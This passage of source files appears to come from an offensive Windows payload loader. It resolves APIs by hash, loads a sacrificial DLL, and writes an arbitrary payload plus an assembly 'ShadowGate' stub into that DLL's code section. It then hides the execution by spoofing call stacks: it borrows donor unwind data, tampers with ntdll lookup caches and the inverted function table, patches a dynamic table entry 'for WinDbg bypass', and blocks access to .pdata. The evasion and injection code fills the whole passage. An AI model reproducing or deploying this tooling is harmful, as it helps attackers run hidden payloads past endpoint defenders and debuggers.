g_Win32.K32.WaitForSingleObject(EventHandle, 0x1000);
Leave:
if (EventHandle) {
Macro::DeleteHandle(EventHandle);
}
return Status;
}
+267
View File
@@ -0,0 +1,267 @@
/* Resolver.cpp */
#include <Windows.h>
#include "Structs.h"
#include "Common.h"
#include "Debug.h"
#include "Primitives.h"
/*================================================
@ LdrGetModuleByHash Function
# Walks the PEB loader list and returns the base
# address of the module matching the given hash
================================================*/
PVOID Resolver::LdrGetModuleByHash(
_In_ ULONG uModuleHash
) {
PLDR_DATA_TABLE_ENTRY DataTableEntry = nullptr;
PLIST_ENTRY Head = nullptr;
PLIST_ENTRY Entry = nullptr;
/* Get pointer to the list */
Head = &NtCurrentTeb()->ProcessEnvironmentBlock->LoaderData->InLoadOrderModuleList;
Entry = Head->Flink;
/* Return the handle of local exe image if no hash is given */
if (!uModuleHash) {
DataTableEntry = (PLDR_DATA_TABLE_ENTRY)(Entry);
return DataTableEntry->DllBase;
}
/* Iterate through module list */
for (; Head != Entry; Entry = Entry->Flink) {
DataTableEntry = (PLDR_DATA_TABLE_ENTRY)(Entry);
/* Check if hashes match */
if (Hash::ExprHashStrDjb2(DataTableEntry->BaseDllName.Buffer) == uModuleHash)
return DataTableEntry->DllBase;
}
#ifdef DEBUG
DBGPRINT("[-] LdrGetModuleByHash Failed At Hash -> 0x%0.8X - %s.%d \n", uModuleHash, GET_FILENAME(__FILE__), __LINE__);
#endif
return nullptr;
}
/*================================================
@ LdrGetSymbolByHash Function
# Parses the export directory of the given module
# and returns the address of the export matching
# the provided hash. Handles forwarded exports
# recursively via WorkItemProxyLoadLibrary
================================================*/
PVOID Resolver::LdrGetSymbolByHash(
_In_ PVOID pModule,
_In_ ULONG uFunctionHash
) {
if (!pModule || !uFunctionHash) {
#ifdef DEBUG
DBGPRINT("[-] LdrGetSymbolByHash Failed At Hash -> 0x%0.8X - %s.%d \n", uFunctionHash, GET_FILENAME(__FILE__), __LINE__);
#endif
return nullptr;
}
//-------------------------------------------------------------------------
/* Avoid casting to PBYTE each time */
PBYTE BaseAddress = (PBYTE)pModule;
/* Fetch the NT headers and do a signature check */
auto Nt = (PIMAGE_NT_HEADERS)(BaseAddress + ((PIMAGE_DOS_HEADER)BaseAddress)->e_lfanew);
if (Nt->Signature != IMAGE_NT_SIGNATURE)
return nullptr;
/* Fetch the export cirectory and the size of it */
auto ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(BaseAddress + Nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
auto ExportSize = Nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size;
/* Fetch the function's name & address & ordinal pointers */
auto AddressOfFunctions = (PDWORD)(BaseAddress + ExportDirectory->AddressOfFunctions);
auto AddressOfNames = (PDWORD)(BaseAddress + ExportDirectory->AddressOfNames);
auto AddressOfOrdinals = (PWORD)(BaseAddress + ExportDirectory->AddressOfNameOrdinals);
/* Iterate through exported functions */
for (int i = 0; i < ExportDirectory->NumberOfNames; i++) {
PCHAR FunctionName = (PCHAR)(BaseAddress + AddressOfNames[i]);
PVOID FunctionVA = (PVOID)(BaseAddress + AddressOfFunctions[AddressOfOrdinals[i]]);
/* Check if hashes match */
if (Hash::ExprHashStrDjb2(FunctionName) == uFunctionHash) {
/* Handle forwarded functions */
ULONG_PTR FunctionAddress = (ULONG_PTR)FunctionVA;
ULONG_PTR ExportBeginning = (ULONG_PTR)ExportDirectory;
ULONG_PTR ExportEnd = ExportBeginning + ExportSize;
if (FunctionAddress >= ExportBeginning && FunctionAddress < ExportEnd) {
#ifdef DEBUG
DBGPRINT("[i] LdrGetSymbolByHash -> [%s] Is A Forwarded Function \n", FunctionName);
#endif
CHAR Forwarder[MAX_PATH] = { 0 };
WCHAR WidePath[MAX_PATH] = { 0 };
DWORD Offset = 0;
PCHAR PFunctionMod = nullptr;
PCHAR PFunctionName = nullptr;
Primitive::MemoryCopy(Forwarder, (PVOID)FunctionAddress, Primitive::StringLength((PCHAR)FunctionAddress));
for (DWORD j = 0; j < Primitive::StringLength((PCHAR)Forwarder); j++) {
if (((PCHAR)Forwarder)[j] == '.') {
Offset = j;
Forwarder[j] = '\0';
break;
}
}
PFunctionMod = Forwarder;
PFunctionName = Forwarder + Offset + 1;
/* Convert ansi name to unicode */
Primitive::AnsiToWide(PFunctionMod, WidePath, MAX_PATH);
PVOID ForwardedMod = Proxy::WorkItemLoadLibrary(WidePath);
return LdrGetSymbolByHash(ForwardedMod, Hash::ExprHashStrDjb2(PFunctionName));
}
/* If it's not a forwarded function, return the address directly */
return (FARPROC)FunctionAddress;
}
}
#ifdef DEBUG
DBGPRINT("[-] LdrGetSymbolByHash Failed At Hash -> 0x%0.8X - %s.%d \n", uFunctionHash, GET_FILENAME(__FILE__), __LINE__);
#endif
return nullptr;
}
/*================================================
@ ResolveSectionInfo Function
# Parses the PE section headers of the given module
# and fills pSectionInfo with the virtual address
# and size of the section matching pcSectionName
================================================*/
VOID Resolver::ResolveSectionInfo(
_In_ PVOID pModule,
_In_ PCHAR pcSectionName,
OUT PSECTION_INFO pSectionInfo
) {
if (!pModule || !pcSectionName || !pSectionInfo)
return;
/* Fetch the NT headers and do a signature check */
auto Nt = (PIMAGE_NT_HEADERS)((PBYTE)pModule + ((PIMAGE_DOS_HEADER)pModule)->e_lfanew);
if (Nt->Signature != IMAGE_NT_SIGNATURE)
return;
/* Get section header and the length of section name */
auto SectionHeader = IMAGE_FIRST_SECTION(Nt);
SIZE_T NameLength = Primitive::StringLength(pcSectionName);
/* Iterate through PE sections */
for (int i = 0; i < Nt->FileHeader.NumberOfSections; i++, SectionHeader++) {
if (Primitive::MemoryCompare(SectionHeader->Name, (PCHAR)pcSectionName, NameLength) == 0) {
pSectionInfo->VirtualAddress = (PVOID)((PBYTE)pModule + SectionHeader->VirtualAddress);
pSectionInfo->VirtualSize = SectionHeader->Misc.VirtualSize;
return;
}
}
return;
}
/*================================================
@ ResolvePDataSectionInfo Function
# Wrapper around ResolveSectionInfo that resolves
# the .pdata (exception handler table) section
================================================*/
VOID Resolver::ResolvePDataSectionInfo(
_In_ PVOID pModule,
OUT PSECTION_INFO pSectionInfo
) {
const CHAR SectionName[] = { '.', 'p', 'd', 'a', 't', 'a', '\0' };
Resolver::ResolveSectionInfo(pModule, (PCHAR)SectionName, pSectionInfo);
}
/*================================================
@ ResolveTextSectionInfo Function
# Wrapper around ResolveSectionInfo that resolves
# the .text section
================================================*/
VOID Resolver::ResolveTextSectionInfo(
_In_ PVOID pModule,
OUT PSECTION_INFO pSectionInfo
) {
const CHAR SectionName[] = { '.', 't', 'e', 'x', 't', '\0' };
Resolver::ResolveSectionInfo(pModule, (PCHAR)SectionName, pSectionInfo);
}
/*================================================
@ ResolveExceptionDirectory Function
# Returns the base address and size of the module's
# exception directory (IMAGE_DIRECTORY_ENTRY_EXCEPTION)
# Used to locate and iterate RUNTIME_FUNCTION entries
================================================*/
PVOID Resolver::ResolveExceptionDirectory(
_In_ PVOID pModule,
OUT PDWORD pdwDirSize
) {
if (!pModule || !pdwDirSize)
return nullptr;
auto Nt = (PIMAGE_NT_HEADERS)((PBYTE)pModule + ((PIMAGE_DOS_HEADER)pModule)->e_lfanew);
if (Nt->Signature != IMAGE_NT_SIGNATURE)
return nullptr;
auto ExceptionDir = &Nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION];
*pdwDirSize = ExceptionDir->Size;
return (PVOID)((PBYTE)pModule + ExceptionDir->VirtualAddress);
}
/*================================================
@ LocateCallInstructionOffset Function
# Scans forward from uStartAddress looking for the
# first CALL instruction (near, indirect or REX-prefixed)
# Returns the offset to the instruction immediately
# following the CALL, i.e. the return address that
# would be pushed onto the stack
================================================*/
DWORD Resolver::LocateCallInstructionOffset(
_In_ ULONG_PTR uStartAddress,
_In_ DWORD dwSearchLimit
) {
DWORD Offset = 0;
DWORD CallOffset = 0;
DWORD StaticOffset = 4; /* Size of call instruction */
BOOL Found = FALSE;
while (Offset < dwSearchLimit) {
/*
0xE8 = CALL rel32 (direct near call, 1-byte opcode)
0xFF15 = CALL [RIP+rel32] (indirect near call, 2-byte opcode)
0x48FF15 = REX.W CALL [RIP+rel32] (REX-prefixed indirect, 3-byte opcode)
*/
if (*(PBYTE)(uStartAddress + Offset) == CALL_NEAR || *(PWORD)(uStartAddress + Offset) == CALL_NEAR_QPTR || (*(PDWORD)(uStartAddress + Offset) & 0x00ffffff) == CALL_FAR_QPTR) {
/* Adjust CallOffset based on opcode length */
if ((*(PDWORD)(uStartAddress + Offset) & 0x00ffffff) == CALL_FAR_QPTR)
CallOffset += 3;
else if (*(PWORD)(uStartAddress + Offset) == CALL_NEAR_QPTR)
CallOffset += 2;
else
CallOffset++;
Found = TRUE;
break;
}
Offset++;
}
return Found ? (Offset + StaticOffset + CallOffset) : 0;
}
+13
View File
@@ -0,0 +1,13 @@
; SetRegister.asm
.code
PUBLIC CaptureStackPointer
; Why assembly -> A c++ function call modifies RSP,
; so reading it directly in assembly is mandatory
CaptureStackPointer PROC
mov rax, rsp
ret
CaptureStackPointer ENDP
END
+78
View File
@@ -0,0 +1,78 @@
; ShadowGate.asm
.code
; RCX = SHADOWGATE_PARAMS* (pointer to parameter structure)
ShadowGate PROC
;---------------------------- SAVE NON-VOLATILE REGISTERS ;----------------------------
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov r12, rcx ; R12 = SHADOWGATE_PARAMS*
mov r13, [r12] ; R13 = pFunction (Offset -> 0)
mov r14, [r12 + 8h] ; R14 = dwMinimumFrameSize (Offset -> 8)
mov r15, [r12 + 10h] ; R15 = argc (Offset -> 10)
lea rbp, [r12 + 18h] ; RBP = &argv[0] (Offset -> 18)
sub rsp, r14 ; <- Core of stack spoofing
;---------------------------- LOAD ARGUMENTS ;----------------------------
cmp r15, 0
jle DoCall
mov rcx, [rbp] ; argv[0] -> RCX
cmp r15, 1
jle DoCall
mov rdx, [rbp + 8h] ; argv[1] -> RDX
cmp r15, 2
jle DoCall
mov r8, [rbp + 10h] ; argv[2] -> R8
cmp r15, 3
jle DoCall
mov r9, [rbp + 18h] ; argv[3] -> R9
cmp r15, 4
jle DoCall
; 5+ arguments: write past shadow space onto stack
mov rbx, rcx
lea rsi, [rbp + 20h] ; Source: &argv[4]
lea rdi, [rsp + 28h] ; Destination: RSP + shadow (0x20) + ret(0x8)
mov rcx, r15
sub rcx, 4
rep movsq
mov rcx, rbx
DoCall:
test r13, r13
jz Skip
call r13 ; <- TARGET FUNC CALLED HERE
Skip:
add rsp, r14 ; Restore stack pointer
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
ShadowGate ENDP
ShadowGateEnd PROC
ret
ShadowGateEnd ENDP
END
+36
View File
@@ -0,0 +1,36 @@
; StackSearch.asm
.code
; RCX = QWORD value to search for (BTIT + CallOffset)
; RDX = Pointer where the found address will be written
; RAX = Byte offset from RSP to found address
ScanStackForValue PROC
mov r8, rsp ; R8 = Starting RSP (reference point)
mov r9, gs:[08h] ; Get StackBase field from the TEB
mov r10, r8 ; R10 = Search pointer (starting from rsp)
SearchLoop:
cmp r10, r9 ; Have we reached StackBase?
jae NotFound ; Yes -> Not Found
cmp qword ptr [r10], rcx ; Does [r10] equal the value we are looking for?
je Found ; Yes -> Found
add r10, 8 ; Advance by 8 bytes (Each stack slot is 8 bytes on x64)
jmp SearchLoop
Found:
mov rax, r10 ; RAX = Address where value was found
mov [rdx], r10 ; *RDX = Found Address (out param)
sub rax, r8 ; RAX = Found address - starting rsp = offset
ret
NotFound:
xor rax, rax
ret
ScanStackForValue ENDP
END
+442
View File
@@ -0,0 +1,442 @@
/* StackSpoofing.cpp */
#include <Windows.h>
#include "Structs.h"
#include "Primitives.h"
#include "Common.h"
#include "Debug.h"
/*================================================
@ FlushFunctionTableCache Function
# Nullifies the cached size field inside
# RtlLookupFunctionTable by scanning for the
# MOV EAX,[RIP+offset] pattern and zeroing the
# target. Forces a cache miss on next lookup
================================================*/
BOOL StackSpoof::FlushFunctionTableCache(
OUT PULONG_PTR puAddress,
OUT PDWORD pdwOld
) {
PVOID Ntdll = Resolver::LdrGetModuleByHash(Hash::ExprHashStrDjb2(L"ntdll.dll"));
ULONG_PTR FnAddress = (ULONG_PTR)Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("RtlLookupFunctionTable"));
BYTE Buffer[128] = { 0 };
Primitive::MemoryCopy(Buffer, (PVOID)FnAddress, sizeof(Buffer));
ULONG_PTR CacheAddress = 0;
/* MOV EAX, [RIP + offset] -> 0x8B 0x05 [rel32] */
for (int i = 0; i < 100; i++) {
if (Buffer[i] == 0x8B && Buffer[i + 1] == 0x05) {
INT32 Offset = 0;
Primitive::MemoryCopy(&Offset, &Buffer[i + 2], sizeof(INT32));
ULONG_PTR Candidate = FnAddress + i + 6 + Offset;
if (Candidate > (ULONG_PTR)Ntdll && Candidate < (ULONG_PTR)Ntdll + 0x300000) {
CacheAddress = Candidate;
break;
}
}
}
if (!CacheAddress)
return FALSE;
*puAddress = CacheAddress;
*pdwOld = *(PDWORD)CacheAddress;
DWORD OldProtect = 0;
PVOID BaseAddress = (PVOID)CacheAddress;
SIZE_T RegionSize = sizeof(DWORD);
Proxy::WorkItemNtProtectVirtualMemory(NtCurrentProcess(), &BaseAddress, &RegionSize, PAGE_READWRITE, &OldProtect);
*(PDWORD)CacheAddress = 0;
Proxy::WorkItemNtProtectVirtualMemory(NtCurrentProcess(), &BaseAddress, &RegionSize, OldProtect, &OldProtect);
return TRUE;
}
/*================================================
@ FlushFunctionEntryCache Function
# Same technique applied to RtlLookupFunctionEntry
# Ensures both lookup paths miss their cache after
# .pdata and _INVERTED_FUNCTION_TABLE are modified
================================================*/
BOOL StackSpoof::FlushFunctionEntryCache(
OUT PULONG_PTR puAddress,
OUT PDWORD pdwOld
) {
PVOID Ntdll = Resolver::LdrGetModuleByHash(Hash::ExprHashStrDjb2(L"ntdll.dll"));
ULONG_PTR FnAddress = (ULONG_PTR)Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("RtlLookupFunctionEntry"));
BYTE Buffer[128] = { 0 };
Primitive::MemoryCopy(Buffer, (PVOID)FnAddress, sizeof(Buffer));
ULONG_PTR CacheAddress = 0;
/* MOV EAX, [RIP + offset] -> 0x8B 0x05 [rel32] */
for (int i = 0; i < 100; i++) {
if (Buffer[i] == 0x8B && Buffer[i + 1] == 0x05) {
INT32 Offset = 0;
Primitive::MemoryCopy(&Offset, &Buffer[i + 2], sizeof(INT32));
ULONG_PTR Candidate = FnAddress + i + 6 + Offset;
if (Candidate > (ULONG_PTR)Ntdll && Candidate < (ULONG_PTR)Ntdll + 0x300000) {
CacheAddress = Candidate;
break;
}
}
}
if (!CacheAddress)
return FALSE;
*puAddress = CacheAddress;
*pdwOld = *(PDWORD)CacheAddress;
DWORD OldProtect = 0;
PVOID BaseAddress = (PVOID)CacheAddress;
SIZE_T RegionSize = sizeof(DWORD);
Proxy::WorkItemNtProtectVirtualMemory(NtCurrentProcess(), &BaseAddress, &RegionSize, PAGE_READWRITE, &OldProtect);
*(PDWORD)CacheAddress = 0;
Proxy::WorkItemNtProtectVirtualMemory(NtCurrentProcess(), &BaseAddress, &RegionSize, OldProtect, &OldProtect);
return TRUE;
}
/*================================================
@ SuppressPDataAccess Function
# Sets .pdata to PAGE_NOACCESS so the OS unwinder
# cannot read static entries and falls back to the
# dynamic function table registered via
# RtlAddFunctionTable
================================================*/
BOOL StackSpoof::SuppressPDataAccess(
_In_ PVOID pModule,
OUT PDWORD pdwOldProtect
) {
ULONG_PTR Base = (ULONG_PTR)pModule;
auto Nt = (PIMAGE_NT_HEADERS)(Base + ((PIMAGE_DOS_HEADER)Base)->e_lfanew);
auto SectionHeader = IMAGE_FIRST_SECTION(Nt);
NTSTATUS Status = STATUS_SUCCESS;
for (int i = 0; i < Nt->FileHeader.NumberOfSections; i++) {
const CHAR SectionName[] = { '.', 'p', 'd', 'a', 't', 'a', '\0' };
SIZE_T NameLength = Primitive::StringLength(SectionName);
if (Primitive::MemoryCompare(SectionHeader[i].Name, (PCHAR)SectionName, NameLength) == 0) {
PVOID BaseAddress = (PVOID)(Base + SectionHeader[i].VirtualAddress);
SIZE_T RegionSize = (SectionHeader[i].Misc.VirtualSize + 0xFFF) & ~0xFFF;
if (!NT_SUCCESS(Status = Proxy::WorkItemNtProtectVirtualMemory(NtCurrentProcess(), &BaseAddress, &RegionSize, PAGE_NOACCESS, pdwOldProtect))) {
#ifdef DEBUG
DBGPRINT("[-] WorkItemNtProtectVirtualMemory Failed With Error -> %lx - %s.%d \n", Status, GET_FILENAME(__FILE__), __LINE__);
#endif
return FALSE;
}
return TRUE;
}
}
return FALSE;
}
/*================================================
@ RestorePDataAccess Function
# Reverts .pdata protection to its original value
# stored during SuppressPDataAccess, re-enabling
# static exception directory access
================================================*/
BOOL StackSpoof::RestorePDataAccess(
_In_ PVOID pModule,
_In_ DWORD dwOldProtect
) {
ULONG_PTR Base = (ULONG_PTR)pModule;
auto Nt = (PIMAGE_NT_HEADERS)(Base + ((PIMAGE_DOS_HEADER)Base)->e_lfanew);
auto SectionHeader = IMAGE_FIRST_SECTION(Nt);
NTSTATUS Status = STATUS_SUCCESS;
DWORD Dummy = 0;
for (int i = 0; i < Nt->FileHeader.NumberOfSections; i++) {
const CHAR SectionName[] = { '.', 'p', 'd', 'a', 't', 'a', '\0' };
SIZE_T NameLength = Primitive::StringLength(SectionName);
if (Primitive::MemoryCompare(SectionHeader[i].Name, (PCHAR)SectionName, NameLength) == 0) {
PVOID BaseAddress = (PVOID)(Base + SectionHeader[i].VirtualAddress);
SIZE_T RegionSize = (SectionHeader[i].Misc.VirtualSize + 0xFFF) & ~0xFFF;
if (!NT_SUCCESS(Status = Proxy::WorkItemNtProtectVirtualMemory(NtCurrentProcess(), &BaseAddress, &RegionSize, dwOldProtect, &Dummy))) {
#ifdef DEBUG
DBGPRINT("[-] WorkItemNtProtectVirtualMemory Failed With Error -> %lx - %s.%d \n", Status, GET_FILENAME(__FILE__), __LINE__);
#endif
return FALSE;
}
return TRUE;
}
}
return FALSE;
}
/*================================================
@ ConstructShadowGateParams Function
# Builds a SHADOW_GATE_PARAMS struct from an
# argument array. Allocates enough space for the
# base struct plus variable-length argv, then
# copies function pointer, frame size, and args
================================================*/
PSHADOWGATE_PARAMS StackSpoof::ConstructShadowGateParams(
_In_ PVOID pFunction,
_In_ DWORD dwFrameSize,
_In_ ULONG_PTR Argc,
_In_ PULONG_PTR pArgv
) {
SIZE_T Size = sizeof(SHADOWGATE_PARAMS) + (Argc > 0 ? (Argc-1) * sizeof(ULONG_PTR) : 0);
PSHADOWGATE_PARAMS ShadowParams = (PSHADOWGATE_PARAMS)::operator new(Size);
if (!ShadowParams)
return nullptr;
ShadowParams->pFunction = (ULONG_PTR)pFunction;
ShadowParams->dwMinimumFrameSize = dwFrameSize;
ShadowParams->argc = Argc;
for (ULONG_PTR i = 0; i < Argc; i++)
ShadowParams->argv[i] = pArgv[i];
return ShadowParams;
}
/*================================================
@ ConstructShadowGateParamsVa Function
# Variadic version of ConstructShadowGateParams.
# Same allocation and layout but pulls arguments
# from va_list instead of an array pointer
================================================*/
PSHADOWGATE_PARAMS StackSpoof::ConstructShadowGateParamsVa(
_In_ PVOID pFunction,
_In_ DWORD dwFrameSize,
_In_ ULONG_PTR Argc,
...
) {
SIZE_T Size = sizeof(SHADOWGATE_PARAMS) + (Argc > 0 ? (Argc-1) * sizeof(ULONG_PTR) : 0);
PSHADOWGATE_PARAMS ShadowParams = (PSHADOWGATE_PARAMS)::operator new(Size);
va_list Args;
if (!ShadowParams)
return nullptr;
ShadowParams->pFunction = (ULONG_PTR)pFunction;
ShadowParams->dwMinimumFrameSize = dwFrameSize;
ShadowParams->argc = Argc;
va_start(Args, Argc);
for (ULONG_PTR i = 0; i < Argc; i++)
ShadowParams->argv[i] = va_arg(Args, ULONG_PTR);
va_end(Args);
return ShadowParams;
}
/*================================================
@ RegisterSpoofedRuntimeFunction Function
# Orchestrator — executes all layers of
# Technique 6 in sequence:
# 1. Find donor, borrow UnwindData
# 2. Collapse _INVERTED_FUNCTION_TABLE entry
# 3. Flush ntdll caches
# 4. RtlAddFunctionTable + Type=0 trick
# 5. .pdata -> PAGE_NOACCESS
# Every modification is tracked in BYOUD_CONTEXT
# for clean reversal via RevertAllSpoofChanges
================================================*/
BOOL StackSpoof::RegisterSpoofedRuntimeFunction(
_Inout_ PBYOUD_CONTEXT pByoudCtx,
_In_ PVOID pModule,
_In_ DWORD dwShcOffset,
_In_ DWORD dwShcSize,
_In_ DWORD dwDesired,
OUT PDWORD pdwActual
) {
PRUNTIME_FUNCTION RuntimeFunction = (PRUNTIME_FUNCTION)::operator new(sizeof(RUNTIME_FUNCTION));
if (!RuntimeFunction)
return FALSE;
PRUNTIME_FUNCTION Donor = Unwinder::FindDonorByFrameSize(pModule, dwDesired, FALSE, pdwActual);
if (!Donor) {
::operator delete(RuntimeFunction);
#ifdef DEBUG
DBGPRINT("[-] No Donor Found For Desired Size 0x%lx \n", dwDesired);
#endif
return FALSE;
}
RuntimeFunction->BeginAddress = dwShcOffset;
RuntimeFunction->EndAddress = dwShcOffset + dwShcSize;
RuntimeFunction->UnwindData = Donor->UnwindData;
/* Unlock .pdata for manipulation */
Unwinder::UnlockPDataSection(pModule);
/* Collapse ImageSize in _INVERTED_FUNCTION_TABLE */
ULONG OldInv = 0;
Unwinder::CollapseInvertedTableEntry(pModule, &OldInv);
ByoudContext::TrackInvertedTableCollapse(pByoudCtx, pModule, OldInv);
/* Flush ntdll lookup caches */
ULONG_PTR CacheAddress = 0;
DWORD Old = 0;
StackSpoof::FlushFunctionTableCache(&CacheAddress, &Old);
if (CacheAddress) {
ByoudContext::TrackCacheNullification(pByoudCtx, CacheAddress, Old);
}
CacheAddress = 0;
Old = 0;
StackSpoof::FlushFunctionEntryCache(&CacheAddress, &Old);
if (CacheAddress) {
ByoudContext::TrackCacheNullification(pByoudCtx, CacheAddress, Old);
}
/* Re-lock .pdata */
Unwinder::LockPDataSection(pModule);
/* Register dynamic function table */
g_Win32.Nt.RtlAddFunctionTable(RuntimeFunction, 1, (DWORD64)pModule);
ByoudContext::TrackDynamicTableInsertion(pByoudCtx, RuntimeFunction);
/* Type=0 patch for WinDbg bypass */
PDYNAMIC_FUNCTION_TABLE DynamicEntry = Unwinder::LocateDynamicFunctionTableEntry(
(ULONG_PTR)pModule + dwShcOffset
);
if (DynamicEntry) {
ByoudContext::TrackDynamicTableTypeChange(pByoudCtx, DynamicEntry, DynamicEntry->Type);
DynamicEntry->Type = 0;
}
/* .pdata -> PAGE_NOACCESS */
DWORD NaOld = 0;
StackSpoof::SuppressPDataAccess(pModule, &NaOld);
BYOUD_CHANGE NaChange = {};
NaChange.Type = BCT_PDATA_NOACCESS;
NaChange.u.Pdata.pModule = pModule;
NaChange.u.Pdata.OldProtect = NaOld;
ByoudContext::CommitSpoofChange(pByoudCtx, &NaChange);
return TRUE;
}
/*================================================
@ ExecuteWithSpoofedStack Function
# Top-level wrapper: loads sacrificial DLL, writes
# payload + ShadowGate stub into .text slack space,
# registers spoofed RUNTIME_FUNCTION, measures
# stack distance, calls payload via ShadowGate,
# then reverts all changes
================================================*/
ULONG_PTR StackSpoof::ExecuteWithSpoofedStack(
_In_ PVOID pPayload,
_In_ DWORD dwPayloadSize
) {
WCHAR DllName[] = { L'w',L'i',L'n',L'd',L'o',L'w',L's',L'.',L's',L't',L'o',L'r',L'a',L'g',L'e',L'.',L'd',L'l',L'l',L'\0' };
/* Load sacrificial DLL */
PVOID pModule = Proxy::WorkItemLoadLibrary(DllName);
if (!pModule) {
#ifdef DEBUG
DBGPRINT("[-] Failed To Load Sacrificial DLL \n");
#endif
return 0;
}
#ifdef DEBUG
DBGPRINT("[+] Sacrificial DLL Loaded -> 0x%p \n", pModule);
#endif
/* Write payload into .text slack space */
DWORD dwPayloadRva = 0;
if (!Unwinder::AppendCodeToText(pModule, pPayload, dwPayloadSize, &dwPayloadRva)) {
#ifdef DEBUG
DBGPRINT("[-] Failed To Append Payload To .text \n");
#endif
return 0;
}
/* Write ShadowGate stub into .text slack space */
PVOID pShadowGateLocal = (PVOID)ShadowGate;
DWORD dwShadowGateSize = (DWORD)((ULONG_PTR)ShadowGateEnd - (ULONG_PTR)ShadowGate);
DWORD dwGateRva = 0;
if (!Unwinder::AppendCodeToText(pModule, pShadowGateLocal, dwShadowGateSize, &dwGateRva)) {
#ifdef DEBUG
DBGPRINT("[-] Failed To Append ShadowGate To .text \n");
#endif
return 0;
}
#ifdef DEBUG
DBGPRINT("[+] Payload RVA: 0x%lx, ShadowGate RVA: 0x%lx (Size: 0x%lx) \n",
dwPayloadRva, dwGateRva, dwShadowGateSize);
#endif
/* Measure stack distance */
ULONG_PTR StackPtr = 0;
ULONG_PTR StackSpace = StackUtils::ResolveThreadStackOrigin(&StackPtr);
ULONG_PTR RspHere = CaptureStackPointer();
StackSpace = StackPtr - RspHere + 8;
/* Initialize spoof context */
BYOUD_CONTEXT Ctx = {};
ByoudContext::InitializeSpoofContext(&Ctx, RTFI_JIT_WINDBG, pModule);
/* Register spoofed RUNTIME_FUNCTION */
DWORD dwActual = 0;
if (!StackSpoof::RegisterSpoofedRuntimeFunction(
&Ctx, pModule, dwPayloadRva, dwPayloadSize,
(DWORD)StackSpace + 8, &dwActual))
{
#ifdef DEBUG
DBGPRINT("[-] RegisterSpoofedRuntimeFunction Failed \n");
#endif
ByoudContext::RevertAllSpoofChanges(&Ctx);
return 0;
}
/* Adjust for ShadowGate's 6 register push pairs */
if (dwActual > 0)
dwActual -= 6 * 8;
/* Build params and execute via copied ShadowGate in .text */
PVOID pEntryPoint = (PVOID)((ULONG_PTR)pModule + dwPayloadRva);
ULONG_PTR Args[] = { 0 };
PSHADOWGATE_PARAMS pParams = StackSpoof::ConstructShadowGateParams(
pEntryPoint, dwActual, 0, Args
);
typedef ULONG_PTR(*fnShadowGate)(PSHADOWGATE_PARAMS);
fnShadowGate pCopiedGate = (fnShadowGate)((ULONG_PTR)pModule + dwGateRva);
ULONG_PTR Result = pCopiedGate(pParams);
#ifdef DEBUG
DBGPRINT("[+] Payload Returned -> 0x%Ix \n", Result);
#endif
/* Cleanup */
::operator delete(pParams);
ByoudContext::RevertAllSpoofChanges(&Ctx);
return Result;
}
+62
View File
@@ -0,0 +1,62 @@
/* StackUtils.cpp */
#include <Windows.h>
#include "Structs.h"
#include "Common.h"
#include "Primitives.h"
#include "Debug.h"
/*================================================
@ ResolveThreadStackOrigin Function
# Combines the resolver and stack scanner to
# calculate the required stack frame size for
# stack spoofing. Locates BaseThreadInitThunk,
# finds its internal CALL offset, then scans
# the stack for that return address
================================================*/
ULONG_PTR StackUtils::ResolveThreadStackOrigin(
OUT PULONG_PTR puStackPointer
) {
/* Find BTIT address */
PVOID Btit = Resolver::LdrGetSymbolByHash(Resolver::LdrGetModuleByHash(Hash::ExprHashStrDjb2(L"kernel32.dll")), Hash::ExprHashStrDjb2("BaseThreadInitThunk"));
if (Btit == nullptr) {
#ifdef DEBUG
DBGPRINT("[-] BTIT Return Address Not Found - %s.%d \n", GET_FILENAME(__FILE__), __LINE__);
#endif
return 0;
}
/* Find offset of the call instruction inside BTIT */
DWORD CallOffset = Resolver::LocateCallInstructionOffset((ULONG_PTR)Btit, 0x100);
/* Search the stack for the return address */
ULONG_PTR StackSpace = ScanStackForValue(
(ULONG_PTR)Btit + CallOffset,
puStackPointer
);
#ifdef DEBUG
DBGPRINT("[i] BTIT Return Address Found -> 0x%Ix \n", StackSpace);
#endif
return StackSpace;
}
/*================================================
@ DetectStackCookiePresence Function
# Checks whether the given module was compiled
# with /GS by inspecting the SecurityCookie field
# in the PE's Load Configuration Directory
================================================*/
BOOL StackUtils::DetectStackCookiePresence(
_In_ PVOID pModule
) {
auto Nt = (PIMAGE_NT_HEADERS)((PBYTE)pModule + ((PIMAGE_DOS_HEADER)pModule)->e_lfanew);
if (Nt->Signature != IMAGE_NT_SIGNATURE)
return FALSE;
auto LcDir = &Nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG];
if (!LcDir->VirtualAddress || !LcDir->Size)
return FALSE;
auto Lc = (PIMAGE_LOAD_CONFIG_DIRECTORY64)((PBYTE)pModule + LcDir->VirtualAddress);
return Lc->SecurityCookie != 0;
}
+885
View File
@@ -0,0 +1,885 @@
/* Unwind.cpp */
#include <Windows.h>
#include "Structs.h"
#include "Primitives.h"
#include "Debug.h"
#include "Common.h"
/*================================================
@ CalculateUnwindFrameSize Function
# Parses UNWIND_INFO opcodes to compute total
# stack frame size. Handles all opcode variants
# including multi-slot ALLOC_LARGE and recursive
# chained unwind info descent
================================================*/
DWORD Unwinder::CalculateUnwindFrameSize(
_In_ PVOID pModule,
_In_ PVOID pUnwindInfo,
OUT PDWORD pdwTarget
) {
PUNWIND_INFO UnwindInfo = (PUNWIND_INFO)pUnwindInfo;
PUNWIND_CODE UnwindCode = (PUNWIND_CODE)UnwindInfo->UnwindCode;
DWORD FrameSize = 0;
DWORD Node = 0;
BYTE OpInfo = 0;
*pdwTarget = 0;
while (Node < UnwindInfo->CountOfCodes) {
switch (UnwindCode->UnwindOp) {
case UWOP_PUSH_NONVOL: {
/* Each non-volatile register push decrements RSP by 8 */
*pdwTarget += sizeof(PVOID);
FrameSize += sizeof(PVOID);
break;
}
case UWOP_ALLOC_LARGE: {
/* Two variants: OpInfo = 0 and OpInfo = 1 */
